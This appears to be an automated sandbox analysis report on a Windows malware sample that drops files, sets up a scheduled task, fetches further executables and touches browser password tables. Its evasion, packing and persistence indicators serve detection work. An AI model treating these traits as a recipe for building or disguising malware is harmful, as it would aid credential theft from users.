Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B19000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
Source: Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group8
Source: Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group2
Source: Potwierdzenie.exe, 00000008.00000003.2552568776.0000000009B40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group8
Source: Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group2
Source: Potwierdzenie.exe, 00000008.00000003.2551954555.0000000009A30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP GroupV
Source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP GroupV
Source: Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe	String found in binary or memory: PHP %s (%s) (built: %s %s) (%s) Copyright (c) The PHP Group %s
Source: Potwierdzenie.exe	String found in binary or memory: PHP %s (%s) (built: %s %s) (%s)Copyright (c) The PHP Group%s
Source: Potwierdzenie.exe, 0000000A.00000002.2986740592.0000000008DD0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP GroupV
Source: Potwierdzenie.exe, 0000000A.00000002.2986740592.0000000008DD0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe, 0000000A.00000002.3002097706.0000000009870000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group8
Source: Potwierdzenie.exe, 0000000A.00000002.3002097706.0000000009870000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe, 0000000A.00000002.2980609937.0000000008AF0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: it under the terms of the PHP License as published by the PHP Group
Source: Potwierdzenie.exe, 0000000A.00000002.2980609937.0000000008AF0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: it under the terms of the PHP License as published by the PHP Group
Source: Potwierdzenie.exe, 0000000A.00000002.2980609937.0000000008AF0000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE
Source: Potwierdzenie.exe, 0000000A.00000002.2881798543.000000000040C000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: Copyright (c) The PHP Group
Source: Potwierdzenie.exe, 0000000A.00000002.2987475690.0000000008F70000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: Copyright (c) The PHP Group
Source: Potwierdzenie.exe, 0000000A.00000002.2987707445.0000000008F90000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: CompanyNameThe PHP Group0
Source: Potwierdzenie.exe, 0000000A.00000002.2987707445.0000000008F90000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: The PHP Group0
Source: Potwierdzenie.exe, 0000000A.00000002.2882058353.000000000041D000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: CompanyNameThe PHP Group0
Source: Potwierdzenie.exe, 0000000A.00000002.2882058353.000000000041D000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: The PHP Group0

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: d84bd44db0.exe.6.dr	Static PE information: section name:
Source: d84bd44db0.exe.6.dr	Static PE information: section name: .rsrc
Source: d84bd44db0.exe.6.dr	Static PE information: section name: .idata
Source: d84bd44db0.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name:
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name: .idata
Source: 4dfaa8fc03.exe.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name:
Source: random[1].exe2.6.dr	Static PE information: section name: .idata
Source: 7cda1b2e6f.exe.6.dr	Static PE information: section name:
Source: 7cda1b2e6f.exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .rsrc
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name:
Source: 9774c44c62.exe.6.dr	Static PE information: section name:
Source: 9774c44c62.exe.6.dr	Static PE information: section name: .rsrc
Source: 9774c44c62.exe.6.dr	Static PE information: section name: .idata
Source: 9774c44c62.exe.6.dr	Static PE information: section name:

PE file has a writeable .text section

Source: Potwierdzenie[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: Potwierdzenie.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe	Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BBF6B40	10_2_0BBF6B40
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCB6A90	10_2_0BCB6A90
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC0A920	10_2_0BC0A920
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC688E0	10_2_0BC688E0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCA2800	10_2_0BCA2800
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCB8F00	10_2_0BCB8F00
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BBF8E90	10_2_0BBF8E90
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BBFAE80	10_2_0BBFAE80
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC12E30	10_2_0BC12E30
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC5AD60	10_2_0BC5AD60
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC0ED10	10_2_0BC0ED10
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC02D20	10_2_0BC02D20
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BBFEC10	10_2_0BBFEC10
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC602C0	10_2_0BC602C0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC1C2AB	10_2_0BC1C2AB
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC5C240	10_2_0BC5C240
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC9E220	10_2_0BC9E220
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC9A1D0	10_2_0BC9A1D0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC64160	10_2_0BC64160
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC227E0	10_2_0BC227E0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC66780	10_2_0BC66780
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC0C730	10_2_0BC0C730
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC026F0	10_2_0BC026F0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCBC680	10_2_0BCBC680
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC1E639	10_2_0BC1E639
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCC25A0	10_2_0BCC25A0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCC44F0	10_2_0BCC44F0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC09B80	10_2_0BC09B80
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC49B70	10_2_0BC49B70
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCBF950	10_2_0BCBF950
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC638A0	10_2_0BC638A0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC858A0	10_2_0BC858A0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCBFF80	10_2_0BCBFF80
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC69FB0	10_2_0BC69FB0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC17F00	10_2_0BC17F00
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BBF9E90	10_2_0BBF9E90
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCBBDF0	10_2_0BCBBDF0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC39D00	10_2_0BC39D00
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCA5C90	10_2_0BCA5C90
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BBF7CD0	10_2_0BBF7CD0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC232A0	10_2_0BC232A0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCBF250	10_2_0BCBF250
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC631F0	10_2_0BC631F0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BBFF090	10_2_0BBFF090
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BCCB040	10_2_0BCCB040
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC0D000	10_2_0BC0D000
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC73710	10_2_0BC73710
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC496E0	10_2_0BC496E0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC0B610	10_2_0BC0B610
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC655A0	10_2_0BC655A0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC6D5A0	10_2_0BC6D5A0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0BC6F4A0	10_2_0BC6F4A0
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_005C58D7	10_2_005C58D7
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_0065D2C6	10_2_0065D2C6
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_005C8145	10_2_005C8145
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: 10_2_005C8137	10_2_005C8137

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: String function: 0BCCC3CE appears 59 times
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: String function: 0BC6F4A0 appears 183 times
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Code function: String function: 0BBFDFA0 appears 91 times

Source: Potwierdzenie.exe.6.dr	Static PE information: Number of sections : 11 > 10
Source: Potwierdzenie[1].exe.6.dr	Static PE information: Number of sections : 11 > 10

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9982491059264306
Source: file.exe	Static PE information: Section: vcuubckp ZLIB complexity 0.9943336832272862
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982491059264306
Source: skotes.exe.0.dr	Static PE information: Section: vcuubckp ZLIB complexity 0.9943336832272862
Source: random[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974796307755776
Source: random[1].exe.6.dr	Static PE information: Section: iqfuznvg ZLIB complexity 0.9944195589672279
Source: d84bd44db0.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9974796307755776
Source: d84bd44db0.exe.6.dr	Static PE information: Section: iqfuznvg ZLIB complexity 0.9944195589672279
Source: random[1].exe0.6.dr	Static PE information: Section: bovqhner ZLIB complexity 0.9948003472222222
Source: 4dfaa8fc03.exe.6.dr	Static PE information: Section: bovqhner ZLIB complexity 0.9948003472222222
Source: random[2].exe.6.dr	Static PE information: Section: mcbbabgn ZLIB complexity 0.9947433997844828
Source: 9774c44c62.exe.6.dr	Static PE information: Section: mcbbabgn ZLIB complexity 0.9947433997844828

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@117/48@15/15

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0BCB8AE0 CoCreateInstance,VariantClear,VariantClear,SysAllocString,SysAllocString,VariantClear,SysAllocString,VariantClear,VariantClear,SysAllocString,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,VariantClear,

10_2_0BCB8AE0

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0BC69FB0 GetTickCount,TlsAlloc,TlsAlloc,TlsAlloc,TlsAlloc,TlsAlloc,GetModuleHandleW,GetProcAddress,GetProcAddress,GetCurrentProcess,GetCurrentProcess,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,VirtualAlloc,ConvertStringSecurityDescriptorToSecurityDescriptorW,InitializeSecurityDescriptor,GetSecurityDescriptorSacl,InitializeSecurityDescriptor,SetSecurityDescriptorSacl,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,VirtualAlloc,GetSystemInfo,GetVersionExW,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetTokenInformation,ConvertSidToStringSidW,memcpy,memcpy,LocalFree,CloseHandle,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,FindResourceW,LoadResource,LockResource,SizeofResource,GetModuleHandleW,GetProcAddress,LoadLibraryW,GetProcAddress,LoadLibraryW,GetProcAddress,GetProcessHeap,GetProcessHeap,HeapAlloc,GetComputerNameW,GetComputerNameW,GetLastError,GetProcessHeap,HeapReAlloc,GetComputerNameW,GetCurrentProcessId,RegOpenKeyW,RegCloseKey,RegCloseKey,RegOpenKeyW,RegCloseKey,GetProcAddress,CloseHandle,FileTimeToSystemTime,GetModuleHandleW,GetProcAddress,SetLastError,GetLastError,ConvertStringSecurityDescriptorToSecurityDescriptorW,

10_2_0BC69FB0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Potwierdzenie[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5292:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6040:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007255001\7cda1b2e6f.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1376:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2756:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Mutant created: \Sessions\1\BaseNamedObjects\bx_process_mutex_00001d48_00001cb4_00001d48
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5232:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7924:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:644:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Mutant created: \Sessions\1\BaseNamedObjects\boxedapp_process_list_mutex_00001d48_00001cb4
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Mutant created: \Sessions\1\BaseNamedObjects\bx_process_mutex_00001d48_00001cb4_00001d94
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Mutant created: \Sessions\1\BaseNamedObjects\boxedapp_shared_env_mutex_00001d48_00001cb4
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7680:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7352:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Mutant created: \Sessions\1\BaseNamedObjects\boxedapp_global_shared_mem_00001d48_00001cb4

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007256001\9774c44c62.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: Potwierdzenie.exe, 00000008.00000003.2543929181.0000000009A00000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2543693990.00000000097F0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3022216175.000000000A1D0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: Potwierdzenie.exe, 00000008.00000003.2543929181.0000000009A00000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2543693990.00000000097F0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3022216175.000000000A1D0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Potwierdzenie.exe, 00000008.00000003.2543929181.0000000009A00000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2543693990.00000000097F0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3022216175.000000000A1D0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Potwierdzenie.exe, 00000008.00000003.2543929181.0000000009A00000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2543693990.00000000097F0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3022216175.000000000A1D0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Potwierdzenie.exe, 00000008.00000003.2543929181.0000000009A00000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2543693990.00000000097F0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3022216175.000000000A1D0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: Potwierdzenie.exe, 00000008.00000003.2543929181.0000000009A00000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2543693990.00000000097F0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3022216175.000000000A1D0000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: 4dfaa8fc03.exe, 00000014.00000003.2869396767.000000001D509000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 52%

